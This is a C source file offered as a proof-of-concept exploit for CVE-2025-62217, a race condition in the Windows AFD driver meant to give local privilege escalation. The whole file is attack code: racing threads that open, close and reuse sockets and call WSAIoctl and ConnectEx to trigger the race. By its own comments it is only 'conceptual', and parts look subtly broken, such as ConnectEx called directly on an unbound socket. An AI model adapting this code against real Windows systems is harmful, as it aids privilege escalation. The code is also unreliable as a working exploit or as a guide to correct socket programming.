// CVE-2025-62217 PoC - Windows AFD Race Condition LPE
// This is a conceptual PoC demonstrating the race condition exploitation pattern
#include <windows.h>
#include <stdio.h>
#include <process.h>
#define NUM_THREADS 8
#define ITERATIONS 10000
volatile LONG g_sync_flag = 0;
volatile PVOID g_target_handle = NULL;
HANDLE g_start_event;
// Thread function that triggers the race condition
unsigned __stdcall RaceThread(void* arg) {
int thread_id = *(int*)arg;
// Wait for all threads to be ready
WaitForSingleObject(g_start_event, INFINITE);
for (int i = 0; i < ITERATIONS; i++) {
// Create socket to trigger AFD driver operations
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (s == INVALID_SOCKET) continue;
// Setup overlapped structure
OVERLAPPED ov = {0};
ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
// Connect operation
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(80);
// Trigger connect - this involves AFD driver processing
DWORD bytes;
DWORD error;
// Create competing operations to widen race window
if (thread_id % 2 == 0) {
// Close socket during connect - creates race condition
closesocket(s);
// Immediately create new socket
SOCKET s2 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (s2 != INVALID_SOCKET) {
// Try to manipulate shared AFD driver state
// In real exploit, this would target specific kernel structures
WSAIoctl(s2, SIO_BASE_HANDLE, NULL, 0, NULL, 0, &bytes, &ov, NULL);
closesocket(s2);
}
} else {
// Attempt connect while other thread is manipulating
ConnectEx(s, (SOCKADDR*)&addr, sizeof(addr), NULL, 0, &bytes, &ov);
// Close immediately to create state inconsistency
closesocket(s);
}
CloseHandle(ov.hEvent);
// Yield to increase chance of race condition
SwitchToThread();
YieldProcessor();
}
return 0;
}
int main() {
printf("CVE-2025-62217 Windows AFD Race Condition PoC\n");
printf("Target: Windows AFD Driver - Privilege Escalation\n\n");
// Initialize Winsock
WSADATA wsa_data;
WSAStartup(MAKEWORD(2, 2), &wsa_data);
// Create synchronization event
g_start_event = CreateEvent(NULL, TRUE, FALSE, NULL);
HANDLE threads[NUM_THREADS];
int thread_ids[NUM_THREADS];
printf("Starting %d racing threads...\n", NUM_THREADS);
// Create racing threads
for (int i = 0; i < NUM_THREADS; i++) {
thread_ids[i] = i;
threads[i] = (HANDLE)_beginthreadex(NULL, 0, RaceThread, &thread_ids[i], 0, NULL);
}
// Small delay to let threads initialize
Sleep(100);
printf("Triggering race condition...\n");
// Start all threads simultaneously
SetEvent(g_start_event);
// Wait for completion
WaitForMultipleObjects(NUM_THREADS, threads, TRUE, INFINITE);
printf("Race condition attempts completed.\n");
printf("Note: This PoC demonstrates the exploitation pattern.\n");
printf("Real exploitation requires kernel debugging and specific offsets.\n");
// Cleanup
CloseHandle(g_start_event);
for (int i = 0; i < NUM_THREADS; i++) {
CloseHandle(threads[i]);
}
WSACleanup();
return 0;
}